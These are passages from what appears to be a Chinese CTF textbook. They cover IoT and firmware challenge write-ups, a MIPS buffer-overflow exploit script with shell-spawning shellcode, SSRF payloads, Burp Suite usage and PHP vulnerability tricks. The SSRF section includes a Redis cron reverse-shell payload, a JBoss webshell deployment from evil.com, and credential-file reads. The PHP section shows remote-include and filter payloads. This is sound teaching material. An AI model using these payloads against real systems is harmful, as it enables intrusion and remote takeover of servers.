第1个陷阱：sub_A5实际上是一个TWI通信函数，在本题中与题目无关，但在实际运行的时候会导致程序卡住，所以直接patch掉这句！nop的机器码是0000，Patch完后用AVR Studio重新加载程序，如图30-12所示。 图30-12 nop程序的位置 第2个陷阱：此处有一个很长的二重循环，像是一个软件延时，且对调试并没有什么用，也需要全部nop掉，如图30-13所示。 图30-13 第二处Patch位置 第3个陷阱：由于这题的I2C协议不是标准的TWI协议，因此会导致TWCR标志位始终不是0，还是会卡在sub_9F处，所以将前面那个循环全部nop掉即可，如图30-14所示。 最后，就能成功断在301地址上了，如图30-15所示。 动态调试很容易就能看出来，这里的sub_38B是比较了38个字节的前5个是否为“flag{”，以及最后一个字节是否为“}”，接着跟踪。需要注意的是，AVR为哈弗结构，数据和指令是分开的，要看读入buffer的内存变化。区块要选择Data，如图30-16所示。 图30-14 第三处patch位置 图30-15 需要分析的断点位置 图30-16 AVR Studio的内存浏览器 sub_29F和sub_2AD这两个函数都比较简单，一个是将38字节的前5个和最后1个也就是flag{}从输入里去掉，只保留中间的32字节，第二个则是将这32字节进行unhex解码，若输入里面包含非十六进制（也就是不是0-9a-f之间的），则该位直接为0，最后会得到一个16字节的buffer。 最终我们可以发现，关键代码如图30-17所示。 图30-17 关键逻辑位置 动态调试一下，很容易发现是进行了什么操作，归纳如下： ((((((buffer[i]^c[i])*a[i])&0xFF)^d[i])*b[i])&0xFF) 每一步操作均可逆。其中，c[i]、a[i]、d[i]、b[i]是从代码存储区获取的，这里需要注意的是，不要搞错内存！算法并不难，接下来只要逆回去就可以得到flag了。解题的Python脚本具体如下： #!/usr/bin/env python import gmpy2 a = [32441,4865,4861,13691,65483,45749,23147,54841,893123,485481,989421,9875,7451,238747,87413,9841] b = [8731,3781,42395871,98341,27843,3713,621113,897847,328741,987451,3975981,8789,7625,5467,9659,78423] c = [10, 86, 92, 86, 96, 175, 177, 245, 199, 51, 170, 113, 158, 194, 54, 4] d = [131, 16, 116, 146, 70, 25, 198, 173, 196, 208, 210, 190, 209, 202, 30, 156] cflag = [138,80,247,193,197,155,42,10,81,212,115,238,142,213,233,30] res = '' for i in xrange(16): tmp = ((((cflag[i] * gmpy2.invert(b[i],256)&0xFF)^d[i])*gmpy2.invert(a[i],256))&0xFF)^c[i] res += chr(tmp) print 'flag{'+res.encode('hex')+'}'"},
    {"text": "未知 30.3 UCTF2016决赛：Normandie 该题是一个施耐德PLC以太网模块的固件分析题，这里主要分析固件中的后门账号。 拿到题目后首先用file命令进行识别，命令如下： [root@kali:~/Xman/Normandie ]% file chall.bin chall.bin: data 出乎意料，结果是data。 不过，并不是没办法，下面再使用binwalk看看： [root@kali:~/Xman/Normandie ]% binwalk chall.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 901 0x385 Zlib compressed data, default compression 从0x385开始是zlib压缩的内容。 既然是压缩的，也许是分析不出什么了，那么我们先解压，代码如下： #!/usr/bin/env python import zlib f = open('chall.bin','rb') data = f.read() f.close() data = data[0x385:] decompress = zlib.decompressobj().decompress(data) f2 = open('chall.decompressed','wb') f2.write(decompress) f2.close() 解压之后，用binwalk查看结果，如图30-18所示，结果丰富了很多。 图30-18 binwalk分析结果 结果是一堆文件，但是我们可以看到其中包含了如下关键信息： 2211604 0x21BF14 VxWorks WIND kernel version \"2.5\" 2225264 0x21F470 Copyright string: \"Copyright Wind River Systems, Inc., 1984-2000\" 2321952 0x236E20 Copyright string: \"copyright_wind_river\" 3118988 0x2F978C Copyright string: \"Copyright, Real-Time Innovations, Inc., 1991. All rights reserved.\" 3126628 0x2FB564 Copyright string: \"Copyright 1984-1996 Wind River Systems, Inc.\" 3153524 0x301E74 VxWorks symbol table, big endian, first entry: [type: function, code address: 0x1FF058, symbol address: 0x27655C] 这似乎是一个可执行文件，那VxWroks又是什么呢？通过Google搜索和上面收集的信息可以了解到，这是一个大端序的实时操作系统，如图30-19所示。 图30-19 Wikipedia上的Vxworks介绍 接下来使用strings命令进行分析，并在输出结果中找到了如下信息： MY_BOARD_NAME - PowerPC 860 1.1/2 50MHZ 原来，主机是PowerPC的，那么我们接下来用IDA试着加载它。在Porcessor type里选择PowerPC big-endian[PPC]，如图30-20所示。 图30-20 固件加载窗口 在不知道基地址的时候，我们先按0地址加载，加载上去看看能不能分析出代码，如图30-21所示。 图30-21 memory organization窗口 在CPU型号选择窗口（如图30-22所示）中，先按默认的ppc选择，然后点击OK按钮，如图30-22所示。 图30-22 CPU具体类型选择窗口 加载后发现已经能分析出部分代码了，但没有符号，甚至还有解析问题，如图30-23所示。下一步，我们就需要确定基地址，以解决这些问题。 图30-23 固件加载完成之后的界面 在28.3节中我们介绍过PPC的基地址确定方法，下面找一条@ha的直接寻址指令，如图30-24所示。 图30-24 相对寻址指令处 可以确定基地址为0x10000，用新的基地址重新加载固件，设置如图30-25所示。 重新加载后，函数识别全部正常，如图30-26所示。 图30-25 重新加载固件窗口 图30-26 重新加载后的函数列表 最后一步，重建符号表，先在程序中找到符号表，如图30-27所示。 图30-27 程序的符号表的所在位置 使用IDA Python重建符号表，代码如下： for i in range(0,10069): name = (GetString(Dword(0x0311E64+0x10*i),-1,0)) addr = Dword(0x0311E64+0x10*i+4) MakeName(addr,name) 重建完成后的结果如图30-28所示。 图30-28 恢复符号后的效果 最后分析usrAppInit函数，可以得到后门账号N0tNsAb4ckD0or0r，密码使用了哈希算法，哈希算法是一个私有的算法，哈希值为ybz99SbRd。通过查阅资料可以发现其加密方式，如图30-29所示。 图30-29 网络上查询到的信息 搜索loginDefaultEncrypt的源码，可以得到其加密方式的关键，如图30-30中的代码所示。 图30-30 加密算法代码 先通过明文的每个字节计算Checksum，公式如下： checksum += ord(plain[ix])*(ix+1)^(ix+1) checksum是一个32位整型，按十进制转换成字符串，然后对字符串的每一位进行操作。后面的操作是可逆的！所以这里想到的方法是爆破checksum。但在本题中，出题人对loginDefaultEncrypt进行了patch操作，如图30-31所示。 图30-31 加密算法被出题者修改的位置 这也意味着，实际加密函数变成了checksum+=ord(plain[ix])*(ix+1)。所以，稍作修改，爆破即可，很容易就能得到如下的可行密码： fDHnZewMhxeYahmTZbAz9gkf BKnYLcpzZxYLcs01i5kubZyx rfErhpDjiSZklslRRuvQ6Kwc SZR7V5YGuz6fbzOgFXSlkvyU 1ERUfpi7u8Lt2DzspguuZXgS JV8wjpssSegrJrYl6PhZdQau"},
    {"text": "未知 30.4 ACTF2016：4G Radio 该题提供了一个wav文件，用Matlab读入，查看波形图，可以看出其使用了29.2节中介绍的ASK调制方式，时序波形如图30-32所示。 图30-32 题目文件的时序波形 思路很明确，取绝对值后，结果如图30-33所示。 图30-33 题目波形取绝对值后的效果 然后设计滤波器，这里使用29.3节提到的sptool进行设计和滤波，结果如图30-34所示。 图30-34 滤波器设计结果 滤波后的结果如图30-35所示。 图30-35 滤波器应用后的效果 然后，判决抽样抽出二进制位即可，代码如下： left = outsig(1); lefti = 1; ans = []; for i=2:size(outsig) if (outsig(i)-left>0.5) ans = [ans,1]; left = 0.7; lefti = i; else if (left-outsig(i)>0.5) ans = [ans,0]; left = 0 ; lefti = i; else if (i-lefti>90) ans = [ans,ans(end)]; lefti = i; end end end end 最后，对得到的二进制位进行曼彻斯特解码。0-1跳变表示0，1-0跳变表示1。保存后可以得到一张图片。图片上是个二维码，扫描后会指向百度网盘的网址，链接地址为 http://pan.baidu.com/s/1mgAA0zQ ，密码为yiw9，下载下来是一个摄像头的固件，要求得到管理员admin的密码，binwalk后发现是JFFS2 filesystem。这里使用28.4节中提到的mtd-utils挂载分区，最后在www目录下的system.ini中找到admin的密码。 未知 30.5 UCTF2016资格赛：传感器(1)(2) 1.传感器（1） 题目如图30-36所示。 图30-36 传感器1题目文本 首先对结果进行曼彻斯特解码，对于每个字节，是按照LSB First的方式来解码。 对于RF调制来说，都是以字节为一个符号进行发送的。这里有两种发送方式：LSB First和MSB First。注意，不要直接将解调出来的二进制位整个倒过来。解码如下： 5555555595555A65556AA696AA6666666955 →转为比特: 010101010101010101010101010101011001010101010101010110100110010101010101011010101010011010010110101010100110011001100110011001100110100101010101 注意，LSB First指的是每个字节，并不是上面的01串整个倒过来，这是一个容易出错的点！ 比特数据按曼彻斯特解码即可。 ·01表示1，10表示0——因为曼彻斯特编码一般有2种，01表示1还是0要尝试之后才能确定。 ·000000000000000010000000001101000000011111011001111101010101010101100000——这里01表示0，10表示1。 ·111111111111111101111111110010111111100000100110000010101010101010011111——这里01表示1，10表示0。 ·111111111111111101111111110010111111100000100110000010101010101010011111——比特8为一组。 ·111111111111111111111110110100110001111101100100010100000101010111111001——每字节反序。 0xFF 0xFF 0xFE 0xD3 0x1F 0x64 0x50 0x55 0xF9 即flag为FFFFFED31F645055F9，与题目中提到的传感器ID为0xFED31F相符。 2.传感器（2） 题目如图30-37所示。 图30-37 传感器2题目文本 传感器2的解码思路与传感器1相同，但本题的考察点为数据包diff的方法。先解码： FFFFFED31F635055F8 --45psi FFFFFED31F425055D7 --30psi 抽取不同的部分： FFFFFED31F 63 5055 F8 FFFFFED31F 42 5055 D7 注意，加粗的部分不同，我们接下来要重点分析。 ·FED31F：ID ·0x63和0x42：压力 ·0xF8和0xD7：checksum 25psi时候的报文是什么？0x63/0x42=1.545/30=1.525psi对应多少只需进行同比例缩放即可。checksum怎么办？0xF8=(0xFE+0xD3+0x1F+0x63+0x50+0x55)&0xFF；0xD7=(0xFE+0xD3+0x1F+0x42+0x50+0x55)&0xFF。为什么前两个FF不用加进去？具体解释如下。 FFFF其实对应于曼彻斯特编码为0101010101串，这在无线电传输领域是有实际物理意义的，称为preamble，用于提供接收方同步时钟信号，校准相位。这部分对实际传输的内容是没有影响的。"},
    {"text": "未知 30.6 UCTF2016资格赛：Add 首先使用file命令对题目所提供的文件进行识别，命令如下： [root@kali:~/Xman/hacking-mips ]% file add add: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.18, BuildID[sha1]=2bbfd9dd356de4e12870defaa67f386c360fd9c3, not stripped 本题为mipsel的可执行程序，因此首先需要搭建调试环境，调试环境已在27.6节中给出，要想调试本题，需要使用debian-mipsel的虚拟机。通过checksec脚本可以发现，本题开启了NX，但在27.1节中已经提到mips硬件上并不支持NX，因此开不开NX对本题的shellcode执行并不会产生影响。 shellcode可以使用msfvenom生成，为了调试方便，将虚拟机的5555端口转发出来，并在虚拟机内使用socat创建一个服务器，代码如下： socat TCP4-LISTEN:5555,reuseaddr,fork EXEC:./add 这是一个计算器程序，运行后的效果如图30-38所示。 图30-38 计算器运行效果 运行效果并不容易分析，但经过测试很快就能发现该程序存在栈溢出漏洞，如图30-39所示。溢出长度为112。 同时，利用27.8节中提到的反编译网站，可以得到图30-40所示的代码。 从一开始就使用了确定的随机数种子，接着，在程序中有一处比较，当输入等于该随机数时，会泄露Buffer的地址，如图30-41所示。 至此，已经可以确定攻击代码的位置以及如何控制程序执行流程了，接下来编写exp脚本就非常容易了，本题的利用脚本具体如下： 图30-39 程序存在栈溢出漏洞 图30-40 题目程序反编译后的代码 图30-41 漏洞触发比较位置 #!/usr/bin/env python from pwn import * p = remote(\"127.0.0.1\",5555) buf = \"\" buf += \"\\x66\\x06\\x06\\x24\\xff\\xff\\xd0\\x04\\xff\\xff\\x06\\x28\\xe0\" buf += \"\\xff\\xbd\\x27\\x01\\x10\\xe4\\x27\\x1f\\xf0\\x84\\x24\\xe8\\xff\" buf += \"\\xa4\\xaf\\xec\\xff\\xa0\\xaf\\xe8\\xff\\xa5\\x27\\xab\\x0f\\x02\" buf += \"\\x24\\x0c\\x01\\x01\\x01\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\" payload = 'A'*8+buf while len(payload)<112: payload += '\\x00' p.send(\"2057561479\\n\") p.recvuntil(\"was \") data = p.recvuntil(\"\\n\")[:-1] baseaddr = int(data,16) print \"baseaddr=\",hex(baseaddr) shellcodeaddr = baseaddr + 8 data = payload+p32(shellcodeaddr) + \" 1\\n\" p.send(data) p.send(\"exit\\n\") p.interactive() 最终即可获取shell，如图30-42所示。 图30-42 题目获取shell后的效果图 以上题目均已被JarvisOJ收录。欢迎大家登录JarvisOJ： https://www.jarvisoj.com 进行练习，笔者也会不定期更新一些高质量题目以供大家练习。 未知 本篇小结 在本篇中，我们学习了IoT的基本概念和目前CTF比赛中常见的IoT赛题以及IoT固件逆向分析的技巧，最后还进行了实例赛题的讲解，相信读者读完能够对IoT相关赛题有一个整体的感受。IoT范畴广阔，受限于篇幅，对于一本CTF比赛指导教材，不可能涵盖过于专业艰深的细节内容。 本书旨在帮助读者针对性地掌握一些解题技巧，更快入门和了解IoT相关赛题。当然，有兴趣的读者可以参考其他相关书籍作为补充。 最后，众所周知没有任何一本书是完美的。所以，若读者发现有什么错误或者更好的解题方法，也欢迎指正和交流。"},
    {"text": "未知 4.3 危害与利用技巧 利用SSRF漏洞可以进行的攻击类型有很多，这取决于服务端允许的协议类型，包括但不限于下文要讲的这5种类型。 1.端口扫描 http://example.com/ssrf.php?url = http://192.168.252.130:21/ http://example.com/ssrf.php?url = http://192.168.252.130:22/ http://example.com/ssrf.php?url = http://192.168.252.130:80/ http://example.com/ssrf.php?url = http://192.168.252.130:443/ http://example.com/ssrf.php?url = http://192.168.252.130:3306/ ...snip... 可通过应用响应时间、返回的错误信息、返回的服务Banner来判断端口是否开放，如图4-2所示。 图4-2 SSRF探测内网服务端口示例 图4-2中，左侧为访问22端口并从错误信息中返回Banner，右侧为访问80端口被拒绝（未开放）。当PHP未开启显错模式时，可通过响应时间来判断端口是否开放。 2.攻击内网或本地存在漏洞的服务 利用SSRF漏洞可对内网存在漏洞的服务进行攻击（如缓冲区溢出等），如图4-3所示。 图4-3 SSRF攻击内网服务示例 如对HTTP发送的数据是否能被其他服务协议接收存在疑问，可参考Freebuf上的文章：《跨协议通信技术利用》 [1] 。 另外，值得注意的是Gopher协议，其说明如下。 Gopher协议是HTTP出现之前，在Internet上常见且常用的一种协议。当然现在Gopher协议已经慢慢淡出历史。Gopher协议可以做很多事情，特别是在SSRF中可以发挥很多重要的作用。利用此协议既可以攻击内网的FTP、Telnet、Redis、Memcache，也可以进行GET、POST请求。这无疑极大地拓宽了SSRF的攻击面。 ——《利用Gopher协议拓展攻击面》–长亭科技 下面的Payload展示了如何利用Gopher协议来攻击内网中的Redis主机： gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a 3.对内网Web应用进行指纹识别及攻击其中存在漏洞的应用 大多数Web应用都有一些独特的文件和目录，通过这些文件可以识别出应用的类型，甚至详细的版本。基于此特点可利用SSRF漏洞对内网Web应用进行指纹识别，如下Payload可以识别主机是否安装了WordPress： http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Fimages%2Faudio.jpg 得到应用指纹后，便能有针对性地对其存在的漏洞进行利用。如下Payload展示了如何利用SSRF漏洞攻击内网的JBoss应用： http://example.com/ssrf.php?url=http%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%3Djboss.system%253Aservice%253DMainDeployer%26methodIndex%3D3%26arg0%3Dhttp%253A%252F%252Fevil.com%252Fwebshell.war 4.文件读取 如果攻击者指定了file协议，则可通过file协议来读取服务器上的文件内容，如： http://example.com/ssrf.php?url=file:///etc/passwd 执行结果如图4-4所示。 5.命令执行 PHP环境下如果安装了expect扩展，还可以通过expect协议执行系统命令，如： http://example.com/ssrf.php?url=expect://id 图4-4 SSRF读取文件示例 [1] http://www.freebuf.com/articles/web/19622.html。"},
    {"text": "未知 4.4 实例 XDCTF（LCTF）2015中Web 300就是一道与SSRF相关的题目。 首先，通过file协议读取源代码，具体如下： // file://index.php <?php if (isset($_GET['link'])) { $link = $_GET['link']; // disable sleep if (strpos(strtolower($link), 'sleep') || strpos(strtolower($link), 'benchmark')) { die('No sleep.'); } if (strpos($link,\"http://\") === 0) { // http $curlobj = curl_init($link); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_setopt($curlobj, CURLOPT_PROTOCOLS, CURLPROTO_HTTP); curl_setopt($curlobj, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curlobj, CURLOPT_TIMEOUT, 5); $content = curl_exec($curlobj); curl_close($curlobj); echo $content; } elseif (strpos($link,\"file://\") === 0) { // file echo file_get_contents(substr($link, 7)); } } else { echo<<<EOF 继续读取系统敏感文件，/etc/hosts文件内容如下： # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.0.1 9bd5688225d90ff2a06e2ee1f1665f40.xdctf.com 可见，在hosts文件中本机IP还绑定了另外一个域名，由此可以推测这台服务器上一定还有其他的网站。 直接通过SSRF漏洞请求域名，发现与直接通过IP访问并没有区别，考虑出题人可能会将HTTP服务开在其他端口，因此利用SSRF漏洞对本机进行端口扫描。扫描后发现本机3389端口处于开放状态，带上域名访问发现是一个Discuz!7.2的论坛。 利用Discuz!7.2的faq.php中的SQL注入漏洞，读取数据库内容发现管理员admin的密码即为flag。"},
    {"text": "下面以IE浏览器为例，在浏览器上依次选择Internet选项→连接→局域网设置，然后在“代理服务器”一栏中填写前文配置的Burp代理IP地址和端口，配置界面如图1-3所示。 图1-1 设置代理 图1-2 代理监听状态 图1-3 IE浏览器代理设置界面 设置完成后就可以通过Burp代理来抓取IE浏览器的数据包了，如果使用的是Firefox或者是Chrome浏览器，则可在相应浏览器的配置项或插件中进行设置。"},
    {"text": "在数据包内容展示界面上单击右键，可以将这个数据包发送给Intruder、Repeater、Comparer、Decoder等模块，如图1-4所示。 图1-4 发送数据包到其他模块 2.Repeater重放模块 在需要手工测试HTTP Header中的Cookie或User-Agent等浏览器不可修改的字段是否存在注入点，以及需要发现复杂的POST数据包中是否存在SSRF时，一般需要用到Repeater模块。 在Proxy中单击右键并选择Send to Repeater（或者Ctrl+r）就可以将截获的数据包发向Repeater模块，这个模块应属于实践中最常用的模块。"},
    {"text": "比如，可以将其用在文件上传类型的CTF题目中以截断后缀，或者是使用这些编码来对WAF进行模糊测试，并让我们可以顺利上传Webshell，该部分的相关内容将会在后面的小节中提到。"},
    {"text": "在Target标签页中可以设置攻击目标的地址（Host）和目标端口（Port），并且可以选择是否使用HTTPS，如图1-6所示。 图1-6 设置攻击目标 在Position标签页中可以设置攻击的位置和攻击的方法。"},
    {"text": "手动选择的方法是：如果你的Burp已经进行了自动选择，那么先点击Clear§按钮，然后选择你要爆破的变量，再点击Add§按钮即可，如图1-7所示。"},
    {"text": "表1-1 Sniper型攻击请求过程 （2）Battering ram型 只需要设置一个Payload set，在两个变量的位置同时替换相同的Payload。 如果你的Payload set中有两个Payload，在爆破时会发送两次请求，结果如表1-2所示。 表1-2 Battering ram型攻击请求过程 （3）Pitchfork型 需要设置两个Payload set，这时候两个变量的位置和两个Payload set是一一对应的关系。"},
    {"text": "为了方便观察结果，一般会将响应信息按照请求的返回长度或响应状态码进行排序，或者在过滤器中设置匹配字符串或者正则表达式，以便对结果进行筛选和匹配。"},
    {"text": "4.Decoder解码模块 Decoder模块为我们提供了丰富的编码与解码工具，可以方便地对HTTP/HTTPS中需要的数据进行编码和解码，并且支持用文本格式或十六进制模式进行查看，如图1-8所示。"},
    {"text": "5.Comparer比较模块 在某些诸如Bool盲注的正确和错误的回显题目中，有时候两次数据包之间的差别很小，比较难发现，这时可以使用比较模块来进行比较，以发现差异，如图1-9所示。"},
    {"text": "图1-10 自定义名称解析 这里可以将域名（也可以是不存在的域名）与IP进行绑定，有时候会遇到一些有这方面需求的题目，而且后文中出现的example.com也都是在这里绑定的。"},
    {"text": "Burp的常用功能与基本的使用方式就介绍到这里，其他功能读者可以自行探索或查看官方提供的文档，文档地址为： https://portswigger.net/burp/help 。"},
    {"text": "未知 第5章 利用特性进行攻击 在不同的环境中，相同的代码可能会给出不同的运行结果。一名好的程序开发者往往会考虑到各种环境因素，写出兼容性更好的代码；而作为一名安全测试人员，利用环境带来的tricks，也会让一行普通代码变成一个高危漏洞。 未知 5.1 PHP语言特性 PHP作为“世界上最好的语言”，其应用场景相当广泛，同时也是CTF的Web题目中出现次数非常多的一门语言。 未知 5.1.1 弱类型 首先，我们需要知道PHP语言中一些相等的值，如： » '' == 0 == false » '123' == 123 » 'abc' == 0 » '123a' == 123 » '0x01' == 1 » '0e123456789' == '0e987654321' » [false] == [0] == [NULL] == [''] » NULL == false == 0 » true == 1 在PHP语言中，比较两个值是否相等可以用“==”和“===”两种符号。前者会在比较的时候自动进行类型转换而不改变原来的值，所以存在漏洞的位置所用的往往是“==”。其中一个常见的错误用法就是： if($input == 1){ 敏感逻辑操作; } 这个时候，如果input变量的值为1abc，则比较的时候1abc会被转换为1，if语句的条件满足，进而造成其他的漏洞。另一个常见的场景是在运用函数的时候，参数和返回值经过了类型转换造成漏洞。下面我们再来看一道真题： if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){ echo $flag; } 如何才能满足这样一个if判断条件呢？需要使两个变量值不相等而MD5值相等。这样的思路可以通过MD5碰撞来解决（ https://goo.gl/KV5ZQn ）。让我们的思路回到PHP语言，MD5函数的返回值是一个32位的字符串，如果这个字符串以“0e”开头的话，类型转换机制会将它识别为一个科学计数法表示的数字“0”。下面给出两个MD5以0e开头的字符串： 'aabg7XSs'=>'0e087386482136013740957780965295' 'aabC9RqS'=>'0e041022518165728065344349536299' 提交这两个字符串即可绕过判断。然后我们再来看一下上面示例题目的2.0版： if($_GET['a']!=$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo $flag; } 当我们将“==”更换为“===”之后（如上方的代码），刚才的两个字符串就不能成功了。但是，我们仍然可以继续利用PHP语言函数错误处理上的特性，在URL栏提交a[]=1&b[]=2成功绕过。因为当我们令MD5函数的参数为一个数组的时候，函数会报错并返回NULL值。虽然函数的参数是两个不同的数组，但函数的返回值是相同的NULL，在这里就是利用这一点巧妙地绕过了判断。 同样在程序返回值中容易判断错误的函数还有很多，如strpos，见PHP手册： (PHP 4, PHP 5, PHP 7) strpos -- 查找字符串首次出现的位置 if(strpos($str1,$str2)==false){ //当str1中不包含str2的时候 敏感逻辑操作; } 这也是一种经常能见到的写法，当str1在str2开头时，函数的返回值是0，而0==false是成立的，这就会造成开发者逻辑之外的结果。 未知 5.1.2 反序列化漏洞 PHP提供serialize和unserialize函数将任意类型的数据转换成string类型或者从string类型还原成任意类型。当unserialize函数的参数被用户控制的时候就会形成反序列化漏洞。 与之相关的是PHP语法中的类，PHP的类中可能会包含一些特殊的函数，名为magic函数，magic函数的命名方式是以符号“__”开头的，比如__construct、__destruct、__toString、__sleep、__wakeup等。这些函数在某些情况下会被自动调用。 为了更好地理解magic函数是如何工作的，我们可以自行创建一个PHP文件，并在当中增加三个magic函数：__construct、__destruct和__toString，图5-1为测试代码和执行结果。 图5-1 magic函数调用示例 可以看出，__construct在对象创建时被调用，__destruct在PHP脚本结束时被调用，__toString在对象被当作一个字符串使用时被调用。如果我们在反序列化的时候加入一个类，并控制类中的变量值，那么结合具体的代码就能够执行magic函数里的危险逻辑了。如NJCTF 2017出过的一道题目，源码如下： <?php $lists = []; Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } //..... ?> 页面的功能是将从cookie中反序列化过后的对象打印出来，这样__toString()函数就会在打印的时候被调用。在本地生成filelist对象的时候，可以将source变量的值设置为想要读取的文件名，序列化后再提交即可。生成序列化字符串的代码如下： <?php Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $f=new filelist(); $f->source=\"/etc/passwd\"; print_r(serialize($f)); 将打印出来的字符串作为参数提交，即可读取/etc/passwd文件。 如果代码量复杂，使用了大量的类，往往需要构造ROP链来进行利用，可以参考phithon对joomla漏洞的分析，链接地址为： https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html 。"},
    {"text": "未知 5.1.3 截断 NULL字符截断是最有名的截断漏洞之一，其原理是，PHP内核是由C语言实现的，因此使用了C语言中的一些字符串处理函数，在遇到NULL(\\x00)字符的时候，处理函数就会将它当作结束标记。这个漏洞能够帮助我们去掉变量结尾处不想要的字符，代码如下： <?php $file = $_GET['file']; include $file.'.tpl.html'; 按照正常的程序逻辑来说，这段代码并不能直接包含任意文件。但是在NULL字符的帮助下，我们只需要提交： ?file=../../../etc/passwd%00 即可读取到passwd文件，与之类似的是利用路径的长度绕过。比如： ?file=../../../////////{*N}/etc/passwd 系统在处理过长的路径时会选择主动截断它。不过这两个漏洞已经随着PHP版本的更新而消逝了，真正遇到这种情况的机会已经越来越少。 另一个能造成截断的情况是不正确地使用iconv函数： <?php $file = $_GET['file'].'.tpl.html'; include(iconv(\"UTF-8\", \"gb2312\", $file)); 在遇到file变量中包含非法utf-8字符的时候，iconv函数就会截断这个字符串。 在这个场景之中，我们只需提交“?file=shell.jpg%ff”即可，因为在utf-8字符集中单个“\\x80-\\xff”都是非法的。这个漏洞只在Windows系统中存在，在新版本的PHP中也已经得到修复。 未知 5.1.4 伪协议 截断漏洞在新版本的PHP中往往难以奏效，不过在上一部分的两个例子中，我们还能通过伪协议去绕过。但这种情况只适用于我们能控制include指令参数的前半部分的时候。如果在php.ini的设置中让allow_url_include=1，即允许远程包含的时候，我们可以令参数为： ?file=http://attacker.com/shell.jpg 这样，PHP服务会从攻击者的服务器上取得shell.jpg并包含。如果我们能上传自定义图片的话，那么我们可以将webshell改名为shell.php并压缩成zip上传，然后再利用zip协议包含： ?file=zip://uploads/random.jpg%23shell.php 这样即可包含到shell。与zip协议效果相同的还有phar协议。 除此之外，我们还能通过伪协议读取到部分文件。在上面的例子中，如果服务器上有一个index.php，那么我们可以令参数为： php://filter/convert.base64-encode/resource=index.php 然后，就能在页面中得到index.php文件源码base64编码后的字符串了。"},
    {"text": "未知 5.1.5 变量覆盖 变量覆盖漏洞通常是使用外来参数替换或初始化程序中原有变量的值，在CTF比赛中一般要配合题目的代码逻辑或其他漏洞来进行攻击。本节将会为大家介绍3种可以导致变量覆盖漏洞的情形。 （1）函数使用不当 a）extract函数 考虑如下代码： <?php $auth = false; extract($_GET); if ($auth) { echo \"flag{...}\"; } else { echo \"Access Denied.\"; } ?> 此处的extract函数将GET传入的数据转换为变量名和变量的值，所以这里构造如下Payload即可将$auth的值变为true并获得flag： ?auth=1 b）parse_str函数 考虑如下代码： <?php $auth = false; parse_str($_SERVER['QUERY_STRING']); if ($auth) { echo \"flag{...}\"; } else { echo \"Access Denied.\"; } ?> 此处的parse_str函数同样也是将GET传入的字符串解析为变量，所以Payload与上方extract函数的Payload一样。 c）import_request_variables函数 考虑如下代码： <?php $auth = false; import_request_variables('G'); if ($auth) { echo \"flag{...}\"; } else { echo \"Access Denied.\"; } ?> 此处，import_request_variables函数的值由G、P、C三个字母组合而成，G代表GET，P代表POST，C代表Cookies。排在前面的字符会覆盖排在后面的字符传入参数的值，如，参数为“GP”，且GET和POST同时传入了auth参数，则POST传入的auth会被忽略。 需要注意的是，这个函数自PHP 5.4起就被移除了，如果需要测试上方的代码请安装版本号大于等于4.1小于5.4的PHP环境。 （2）配置不当 在PHP版本号小于5.4的时候，还存在配置问题导致的全局变量覆盖漏洞。当PHP配置register_globals=ON时便可能出现该漏洞，考虑如下代码： <?php if ($auth) { echo \"flag{...}\"; } else { echo \"Access Denied.\"; } ?> 利用register_globals的特性，用户传入参数auth=1即可进入if语句块。需要注意的是，如果在if语句前初始化$auth变量，则不会触发这个漏洞。 （3）代码逻辑漏洞 在讲述代码逻辑漏洞导致的变量覆盖之前，需要大家先来了解一个知识点，就是PHP中的$$（可变变量）。可变变量可以让一个普通变量的值作为这个可变变量的变量名，读起来有些拗口，如果不能理解，可以参考下面的代码： <?php $foo=\"hello\"; //赋值普通变量 $$foo=\"world\"; //使用foo变量的值作为可变变量的变量名 echo \"$foo ${$foo}\"; //输出：hello world echo \"$foo $hello\"; //等同于上面的语句，同样输出hello world ?> 在新版本PHP移除了前面提到的import_request_variables函数和register_globals选项之后，有些开发者选择使用foreach遍历数组（如，$_GET、$_POST等）来注册变量，这样也会存在变量覆盖漏洞的情况。考虑如下代码： <?php $auth = false; foreach($_GET as $key => $value){ $$key = $value; } if ($auth) { echo \"flag{...}\"; } else { echo \"Access Denied.\"; } ?> 此处的foreach循环就将GET传入的参数注册为变量，所以与前面一样，传入“?auth=1”即可绕过判断获得flag。 未知 5.1.6 防护绕过 这里主要讲两个经常遇到的防护手段，分别是open_basedir和disable_function。 open_basedir是PHP设置中为了防御PHP跨目录进行文件（目录）读写的方法，所有PHP中有关文件读、写的函数都会经过open_basedir的检查。 其常见的绕过方法有DirectoryIterator+Glob，在目前最新版（v7.2.10）的PHP中，官方并没有修复这个问题，下面附上简单的测试代码（来自phithon）： <?php printf('<b>open_basedir: %s</b><br />',ini_get('open_basedir')); $file_list = array(); // normal files $it = new DirectoryIterator(\"glob:///*\"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting 